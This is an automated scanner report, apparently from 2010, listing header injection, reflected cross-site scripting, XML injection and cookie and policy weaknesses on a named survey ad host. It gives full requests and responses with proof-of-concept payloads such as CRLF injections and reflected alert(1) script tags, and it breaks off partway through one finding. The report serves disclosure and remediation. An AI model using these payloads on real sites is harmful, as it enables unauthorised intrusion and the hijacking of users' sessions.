Report generated by Hoyt LLC Research at Sun Nov 07 17:41:29 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. HTTP header injection

1.1. http://amch.questionmarket.com/adscgen/st.php [code parameter]

1.2. http://amch.questionmarket.com/adscgen/st.php [site parameter]

1.3. http://amch.questionmarket.com/adscgen/sta.php [site parameter]

2. Cross-site scripting (reflected)

2.1. http://amch.questionmarket.com/adscgen/invite.php [creativename parameter]

2.2. http://amch.questionmarket.com/adscgen/invite.php [pic parameter]

2.3. http://amch.questionmarket.com/adscgen/popup.php [site parameter]

2.4. http://amch.questionmarket.com/adscgen/popup.php [type parameter]

3. Flash cross-domain policy

4. XML injection

4.1. http://amch.questionmarket.com/adscgen/invite.php [REST URL parameter 1]

4.2. http://amch.questionmarket.com/adscgen/invite.php [REST URL parameter 2]

4.3. http://amch.questionmarket.com/adscgen/log_error.php [REST URL parameter 1]

4.4. http://amch.questionmarket.com/adscgen/log_error.php [REST URL parameter 2]

4.5. http://amch.questionmarket.com/adscgen/popup.php [REST URL parameter 1]

4.6. http://amch.questionmarket.com/adscgen/popup.php [REST URL parameter 2]

4.7. http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 1]

4.8. http://amch.questionmarket.com/adscgen/st.php [REST URL parameter 2]

4.9. http://amch.questionmarket.com/adscgen/sta.php [REST URL parameter 1]

4.10. http://amch.questionmarket.com/adscgen/sta.php [REST URL parameter 2]

4.11. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 1]

4.12. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 2]

4.13. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 3]

4.14. http://amch.questionmarket.com/dt/s/4487/0.php [REST URL parameter 4]

5. Cookie scoped to parent domain

5.1. http://amch.questionmarket.com/adsc/d774151/51/38159205/decide.php

5.2. http://amch.questionmarket.com/adsc/d804109/17/600001395264/decide.php

5.3. http://amch.questionmarket.com/adscgen/invite.php

5.4. http://amch.questionmarket.com/adscgen/popup.php

5.5. http://amch.questionmarket.com/adscgen/st.php

6. Cookie without HttpOnly flag set

6.1. http://amch.questionmarket.com/adsc/d774151/51/38159205/decide.php

6.2. http://amch.questionmarket.com/adsc/d804109/17/600001395264/decide.php

6.3. http://amch.questionmarket.com/adscgen/invite.php

6.4. http://amch.questionmarket.com/adscgen/popup.php

6.5. http://amch.questionmarket.com/adscgen/st.php

7. TRACE method is enabled

8. Robots.txt file

9. HTML does not specify charset

9.1. http://amch.questionmarket.com/adscgen/invite.php

9.2. http://amch.questionmarket.com/adscgen/popup.php

9.3. http://amch.questionmarket.com/adscgen/st.php

9.4. http://amch.questionmarket.com/adscgen/sta.php

9.5. http://amch.questionmarket.com/dt/s/4487/0.php

10. Content type incorrectly stated

10.1. http://amch.questionmarket.com/adscgen/popup.php

10.2. http://amch.questionmarket.com/adscgen/st.php

10.3. http://amch.questionmarket.com/adscgen/sta.php

10.4. http://amch.questionmarket.com/dt/s/4487/0.php



1. HTTP header injection  next
There are 3 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://amch.questionmarket.com/adscgen/st.php [code parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The value of the code request parameter is copied into the Location response header. The payload e77fc%0d%0a64ca247a29d was submitted in the code parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/st.php?survey_num=774151&site=51843898&code=e77fc%0d%0a64ca247a29d&randnum=3413825\ HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:52:39 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a231.dl
Set-Cookie: CS1=deleted; expires=Sat, 07-Nov-2009 21:52:38 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=38159205-51-1_600001395264-17-1_774151-1-1; expires=Thu, 29-Dec-2011 13:52:39 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=804109-(L!hM-0_774151-WL!hM-Vy; expires=Thu, 29-Dec-2011 13:52:39 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=DART&survey_num=774151&site=51-51843898-&code=e77fc
64ca247a29d

Content-Length: 0
Keep-Alive: timeout=120, max=789
Connection: Keep-Alive
Content-Type: text/html


1.2. http://amch.questionmarket.com/adscgen/st.php [site parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/st.php

Issue detail

The value of the site request parameter is copied into the Location response header. The payload 38f41%0d%0af7d9a9a9762 was submitted in the site parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/st.php?survey_num=774151&site=5184389838f41%0d%0af7d9a9a9762&code=38159205&randnum=3413825 HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:45:22 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a230.dl
Set-Cookie: CS1=774151-1-1; expires=Thu, 29-Dec-2011 13:45:22 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-z?!hM-0; expires=Thu, 29-Dec-2011 13:45:22 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=DART&survey_num=774151&site=-1-5184389838f41
f7d9a9a9762
-&code=38159205
Content-Length: 0
Content-Type: text/html


1.3. http://amch.questionmarket.com/adscgen/sta.php [site parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/sta.php

Issue detail

The value of the site request parameter is copied into the Location response header. The payload d1243%0d%0afcc1cd0180 was submitted in the site parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/sta.php?survey_num=804109&site=d1243%0d%0afcc1cd0180&code=1395264&ut_sys=pointroll HTTP/1.1
Accept: */*
Referer: http://www.engadget.com/_uac/adpage.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: linkjumptest=1; CS1=38159205-51-1; ES=774151-WL!hM-0; LP=1289161527

Response

HTTP/1.1 302 Found
Date: Sun, 07 Nov 2010 21:45:19 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a210.dl
Set-Cookie: CS1=deleted; expires=Sat, 07-Nov-2009 21:45:18 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=38159205-51-1_804109-1-1; expires=Thu, 29-Dec-2011 13:45:19 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=774151-WL!hM-0_804109-w?!hM-0; expires=Thu, 29-Dec-2011 13:45:19 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=pointroll&survey_num=804109&site=-1-d1243
fcc1cd0180
-&code=1395264
Content-Length: 44
Content-Type: text/html

/* /adsc/d804109/-1/600001395264/randm.js */

2. Cross-site scripting (reflected)  previous  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://amch.questionmarket.com/adscgen/invite.php [creativename parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The value of the creativename request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload fae84><script>alert(1)</script>eaf4dfec3d7 was submitted in the creativename parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adscgen/invite.php?survey_num=768750&from_node=4487&site_num=27&pic=gif&creativename=cnn_red-288x267-1l-eng-nulfae84><script>alert(1)</script>eaf4dfec3d7&secs_up=60&type=popup\\ HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:52:59 GMT
Server: Apache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Set-Cookie: LP=1289166779; expires=Fri, 12-Nov-2010 01:52:59 GMT; path=/; domain=.questionmarket.com
Content-Length: 671
Keep-Alive: timeout=120
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Empowering Your Opinions</title>
<script type="text/javascript">
setTimeout(
...[SNIP]...
<img src=/static/cnn_red-288x267-1l-eng-nulfae84><script>alert(1)</script>eaf4dfec3d7.gif border=0 width= height=>
...[SNIP]...

2.2. http://amch.questionmarket.com/adscgen/invite.php [pic parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The value of the pic request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 2f38a><script>alert(1)</script>51e9c767975 was submitted in the pic parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adscgen/invite.php?survey_num=768750&from_node=4487&site_num=27&pic=gif2f38a><script>alert(1)</script>51e9c767975&creativename=cnn_red-288x267-1l-eng-nul&secs_up=60&type=popup\\ HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:49:47 GMT
Server: Apache/2.2.14 (Ubuntu)
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC"
Set-Cookie: LP=1289166587; expires=Fri, 12-Nov-2010 01:49:47 GMT; path=/; domain=.questionmarket.com
Vary: Accept-Encoding
Content-Length: 671
Keep-Alive: timeout=120, max=696
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Empowering Your Opinions</title>
<script type="text/javascript">
setTimeout(
...[SNIP]...
<img src=/static/cnn_red-288x267-1l-eng-nul.gif2f38a><script>alert(1)</script>51e9c767975 border=0 width= height=>
...[SNIP]...

2.3. http://amch.questionmarket.com/adscgen/popup.php [site parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The value of the site request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2cde"%3balert(1)//f67d88e5f51 was submitted in the site parameter. This input was echoed as e2cde";alert(1)//f67d88e5f51 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adscgen/popup.php?sub=amch&type=popup&survey_num=768750&lang=&from_node=4487&site=27e2cde"%3balert(1)//f67d88e5f51 HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0; linkjumptest=1

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:47:34 GMT
Server: Apache/2.2.3
X-Powered-By: PHP/4.4.4
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: b102.dl
Set-Cookie: LP=1289166454; expires=Fri, 12 Nov 2010 01:47:34 GMT; path=/; domain=.questionmarket.com
Content-Length: 1215
Content-Type: text/html


var DL_already_ran;

function DL_domain_popup() {
   if (DL_already_ran) return;

   var DL_x = window.screenLeft || window.screenX || 15000;
   var DL_y = window.screenTop || window.screenY || 15000;
   
   
...[SNIP]...
domain=\\'" + document.domain + "\\',DL_width=288,DL_height=267,DL_left=100,DL_top=100,DL_f=1,DL_invite=\\'http://amch.questionmarket.com/adscgen/invite.php?survey_num=768750&from_node=4487&site_num=27e2cde";alert(1)//f67d88e5f51&pic=gif&creativename=cnn_red-288x267-1l-eng-nul&secs_up=60&type=popup\\';</script>
...[SNIP]...

2.4. http://amch.questionmarket.com/adscgen/popup.php [type parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The value of the type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9474a"%3balert(1)//d06d83f3d45 was submitted in the type parameter. This input was echoed as 9474a";alert(1)//d06d83f3d45 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adscgen/popup.php?sub=amch&type=popup9474a"%3balert(1)//d06d83f3d45&survey_num=768750&lang=&from_node=4487&site=27 HTTP/1.1
Accept: */*
Referer: http://www.cnn.com/TECH/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: amch.questionmarket.com
Proxy-Connection: Keep-Alive
Cookie: CS1=38159205-51-1; ES=774151-WL!hM-0; linkjumptest=1

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 21:45:18 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a229.dl
Set-Cookie: LP=1289166318; expires=Fri, 12-Nov-2010 01:45:18 GMT; path=/; domain=.questionmarket.com
Content-Length: 1215
Content-Type: text/html


var DL_already_ran;

function DL_domain_popup() {
   if (DL_already_ran) return;

   var DL_x = window.screenLeft || window.screenX || 15000;
   var DL_y = window.screenTop || window.screenY || 15000;
   
   
...[SNIP]...
t=100,DL_top=100,DL_f=1,DL_invite=\\'http://amch.questionmarket.com/adscgen/invite.php?survey_num=768750&from_node=4487&site_num=27&pic=gif&creativename=cnn_red-288x267-1l-eng-nul&secs_up=60&type=popup9474a";alert(1)//d06d83f3d45\\';</script>
...[SNIP]...

3. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://amch.questionmarket.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: amch.questionmarket.com

Response

HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 20:38:40 GMT
Server: Apache/2.2.3
Last-Modified: Tue, 28 Mar 2006 15:45:05 GMT
ETag: "e0686c83-d1-4100ff999c240"
Accept-Ranges: bytes
Content-Length: 209
Keep-Alive: timeout=5, max=956
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>


<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-
...[SNIP]...

4. XML injection  previous  next
There are 14 instances of this issue:

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: &lt; and &gt;.


4.1. http://amch.questionmarket.com/adscgen/invite.php [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen]]>>/invite.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:03 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=577
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.2. http://amch.questionmarket.com/adscgen/invite.php [REST URL parameter 2]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/invite.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen/invite.php]]>> HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:07 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=714
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.3. http://amch.questionmarket.com/adscgen/log_error.php [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/log_error.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen]]>>/log_error.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:03 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=387
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.4. http://amch.questionmarket.com/adscgen/log_error.php [REST URL parameter 2]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/log_error.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen/log_error.php]]>> HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:06 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=858
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.5. http://amch.questionmarket.com/adscgen/popup.php [REST URL parameter 1]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen]]>>/popup.php HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: linkjumptest=1; ES=774151-WL!hM-0_804109-(L!hM-0; CS1=38159205-51-1_600001395264-17-1; LP=1289161527;

Response

HTTP/1.1 404 Not Found
Date: Sun, 07 Nov 2010 20:39:03 GMT
Server: Apache/2.2.3
Vary: accept-language
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=463
Connection: Keep-Alive
Content-Type: text/html
Content-Language: en
Content-Length: 1065


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="
...[SNIP]...

4.6. http://amch.questionmarket.com/adscgen/popup.php [REST URL parameter 2]  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://amch.questionmarket.com
Path:   /adscgen/popup.php

Issue detail

The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /adscgen/popup.php]]>> HTTP/1.1
Host: amch.questionmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
